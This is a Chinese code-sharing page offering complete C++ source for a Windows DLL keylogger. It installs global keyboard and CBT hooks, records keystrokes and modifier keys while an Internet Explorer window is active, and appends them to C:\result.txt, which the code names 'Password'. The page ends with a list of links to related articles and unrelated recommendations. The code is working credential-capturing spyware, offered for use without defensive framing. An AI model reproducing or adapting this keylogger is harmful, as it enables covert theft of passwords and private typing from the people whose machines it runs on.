动态链接库dll键盘钩子后台记录代码示例
- //.header
- #ifndef _DLLHOOK_H_
- #define _DLLHOOK_H_
- #include <windows.h>
- #define DLL_EXPORT_FUN __declspec(dllexport)
- DLL_EXPORT_FUN BOOL InstallHook();
- DLL_EXPORT_FUN BOOL UninstallHook();
- #endif
- //.cpp
- #include <process.h>
- #include <stdio.h>
- #include "DllHook.h"
- #define Password "C:\\result.txt"
- #define TextLength 20
- #define CHARNUMBER 5
- #define CAPITALNUM 10
- HHOOK hHookKeyboard=0;
- HHOOK hHookMsg=0;
- HANDLE hDll=NULL;
- char TextMsg[TextLength]={0};
- bool IE_is_actived=true;
- HWND hhWnd=NULL;
- FILE *pfFile=NULL;
- unsigned int Counter=0;
- int shift = 32;
- short flag=0;;
- char tombnum[CHARNUMBER]={0};
- enum NUM
- {
- SHIFT,
- CONTROL,
- ALT,
- CAPITAL
- };
- static int TempArray[CHARNUMBER][CAPITAL+1];
- static char text[TextLength];
- void InitTable()
- {
- for (int i=0; i<CHARNUMBER; i++)
- for (int j=0; j<CAPITALNUM+1; j++)
- TempArray[i][j]=0;
- }
- BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
- {
- switch(ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- {
- hDll=hModule;
- hhWnd=GetActiveWindow();
- MessageBox(hhWnd,"DLLKEYBOARD","提示",MB_OKCANCEL);
- }
- //A new process is attempting to access the DLL; one thread is assumed.
- break;
- case DLL_PROCESS_DETACH:
- //A process is detaching from the DLL.
- UninstallHook();
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- //One of the additional threads (not the first thread) of a process is detaching from the DLL.
- break;
- }
- return TRUE;
- }
- LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
- {
- int i, temp;
- int flag_shift;
- int flag_capital;
- int flag_alt;
- int flag_control;
- if (IE_is_actived)
- {
- if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
- {
- flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
- flag_capital = 0x0001 & GetKeyState(VK_CAPITAL);
- flag_alt = 0x8000 & GetKeyState(VK_MENU);
- flag_control = 0x8000 & GetKeyState(VK_CONTROL);
- }
- if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
- wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
- wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
- wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
- wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
- wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
- wParam!=VK_F11 && wParam!=VK_F12)
- {
- if ((0x80000000 & lParam) == 0) //WM_KEYDOWN?
- {
- if (wParam>=0x41 && wParam<=0x5a)
- wParam+=32; //Kisbeture konvertalas
- if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
- {
- if (wParam==VK_CAPITAL)
- temp=1;
- else temp=0;
- TempArray[Counter][wParam-16-temp]=1;
- }
- tombnum[Counter] = wParam;
- Counter++;
- }
- else //WM_KEYUP?
- if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
- {
- if (wParam==VK_CAPITAL)
- temp=1;
- else temp=0;
- TempArray[Counter][wParam-16-temp]=2;
- tombnum[Counter] = wParam;
- Counter++;
- }
- if (Counter==CHARNUMBER)
- {
- pfFile = fopen(Password, "a+");
- for (i=0; i<(signed)Counter; i++)
- {
- switch(tombnum[i])
- {
- case VK_DELETE :
- fprintf(pfFile, "%s", "<d>");
- break;
- case VK_RETURN :
- fprintf(pfFile, "%s", "\n");
- break;
- case VK_BACK :
- fprintf(pfFile, "%s", "<b>");
- break;
- case VK_SHIFT :
- if (TempArray[i][SHIFT]==1)
- fprintf(pfFile, "%s", "<sd>");
- else
- fprintf(pfFile, "%s", "<su>");
- break;
- case VK_CONTROL :
- if (TempArray[i][CONTROL]==1)
- fprintf(pfFile, "%s", "<ctd>");
- else
- fprintf(pfFile, "%s", "<ctu>");
- break;
- case VK_MENU :
- if (TempArray[i][ALT]==1)
- fprintf(pfFile, "%s", "<ad>");
- else
- fprintf(pfFile, "%s", "<au>");
- break;
- case VK_CAPITAL :
- if (TempArray[i][CAPITAL]==1)
- fprintf(pfFile, "%s", "<cpd>");
- else
- fprintf(pfFile, "%s", "<cpu>");
- break;
- default:
- fprintf(pfFile, "%c", tombnum[i]);
- break;
- }
- }
- fclose (pfFile);
- Counter=0;
- InitTable();
- }
- }
- }
- return CallNextHookEx(hHookKeyboard, code, wParam, lParam);
- }
- LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
- {
- if(nCode==HCBT_ACTIVATE)
- {
- GetClassName(hhWnd,TextMsg,TextLength);
- {
- if (TextMsg[0]=='I'&&TextMsg[1]=='E')
- IE_is_actived=true;
- else
- IE_is_actived=false;
- }
- return 1;
- }
- else
- return CallNextHookEx(hHookMsg,nCode,wParam,lParam);
- }
- DLL_EXPORT_FUN BOOL InstallHook()
- {
- hHookKeyboard=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,(HINSTANCE)hDll,(DWORD)NULL);
- if (hHookKeyboard==NULL)
- {
- return false;
- }
- hHookMsg=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)hDll,(DWORD)NULL);
- if (hHookMsg==NULL)
- {
- return false;
- }
- return true;
- }
- DLL_EXPORT_FUN BOOL UninstallHook()
- {
- if(UnhookWindowsHookEx(hHookKeyboard)==0)
- return false;
- if (UnhookWindowsHookEx(hHookMsg)==0)
- return false;
- else
- return TRUE;
- }
动态链接库dll键盘钩子后台记录代码示例的更多相关文章
- C# 键盘钩子
p{ text-align:center; } blockquote > p > span{ text-align:center; font-size: 18px; color: #ff0 ...
- 2.添加键盘钩子。向进程中注入dll
学习笔记 1.首先要建立mfc的动态链接库.在def文件中放入要导出的函数名. 2.添加函数如下 //安装钩子 //HHOOK SetWindowsHookEx( // int idHook,//钩子 ...
- 基于C#实现的HOOK键盘钩子实例代码
本文所述为基于C#实现的HOOK实例,该实例可用来屏蔽系统热键.程序主要实现了安装钩子.传递钩子.卸载钩子等功能.在传递钩子中:<param name="pHookHandle&quo ...
- 通过.NET实现后台自动发送Email功能的代码示例
原文:通过.NET实现后台自动发送Email功能的代码示例 通过.NET实现后台自动发送邮件功能的代码,可以将一些基础信息放到web.config文件中进行保存: Web.config文件信息段: & ...
- hook键盘钩子 带dll
library Key; uses SysUtils, Classes, HookKey_Unit in 'HookKey_Unit.pas'; {$R *.res} exports HookOn,H ...
- Linux 动态链接库 - dll劫持
如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...
- WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例
键盘钩子是一种可以监控键盘操作的指令. 看到这句话是不是觉得其实键盘钩子可以做很多事情. 场景 当你的程序需要一个全局的快捷键时,可以考虑使用键盘钩子,如大家常用qq的截图快捷键,那么在WPF里怎么去 ...
- 编译可供C#调用的C/C++动态链接库dll文件
编译可供C#调用的C/C++动态链接库dll文件,C语言控制台应用程序,探索生成dll过程 由于项目需求,需要公司另一个团队提供相关算法支持,是用C语言编译好的dll库提供给我们进行调用. 但是拿到d ...
- VC++动态链接库(DLL)编程深入浅出(zz)
VC++动态链接库(DLL)编程深入浅出(zz) 1.概论 先来阐述一下DLL(Dynamic Linkable Library)的概念,你可以简单的把DLL看成一种仓库,它提供给你一些可以直接拿来用 ...
随机推荐
- LotteryDrawing
import java.util.*; public class MyTest{ public static void main(String[] args){ Scanner in = new Sc ...
- web前端学习(一) html+js实现文本框背景及只读属性修改
因为工作需求接触了html+javascript,对于从事嵌入式开发,一直接触c和汇编的我,感觉这种语言是一个的全新的领域,宽松的语法要求,等同于文本逻辑的输出,当然我并不认为它简单,错误检查的缺少让 ...
- struts2 详解
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互.struts使 ...
- [html] src与href的区别
src用于替换当前元素,href用于在当前文档和引用资源之间确立联系. src是source的缩写,指向外部资源的位置,指向的内容将会嵌入到文档中当前标签所在位置:在请求src资源时会将其指向的资源下 ...
- Android动画之translate(位移动画)
上一篇文章讲了 Android的左右滑动切换,实现过程是非常简单,一些新手可能会向深入了了解Activity切换的原理,下面主要对左右滑动进行深入的探讨,并以项目中的一个切换效果来进一步了解. Act ...
- 注意64位整形,int64,long long
在Xplorer中编译运行: int64_t mask = 0xffffffffffffffffLL; if((j+64)>width) { printf("%x %d " ...
- linux删除文件未释放空间问题处理
linux删除文件未释放空间问题处理 或者 /根分区满了 (我的根分区是/dev/sda1,/dev/sda1满了) http://blog.csdn.net/donghustone/article/ ...
- Nemo Documents – 给文件添加标签 以日历的形式将文件呈现出来,很像 Outlook,你可以根据年、月、日来查看不同类型的文档
Nemo Documents – 给文件添加标签 scavin(Google+) on 2012.03.28. Nemo Documents 是款文件组织管理工具(文档管理器),不是街道大妈胜似大 ...
- shell如何在指定文件的指定位置后面添加内容
最近工作中遇到一个问题,想在某个文件的指定位置后面添加一个标志位,要求在shell脚本里实现. 问题说明: 想在sys_config.fex文本的某个字符串后面添加一个flag 例如:sys_conf ...
- MySQL for Windows 解压缩版配置安装
1.MySQL安装文件分为两种,一种是msi格式的,一种是zip格式的.如果是msi格式的可以直接点击安装,按照它给出的安装提示进行安装(相信大家的英文可以看懂英文提示),一般MySQL将会安装在C: ...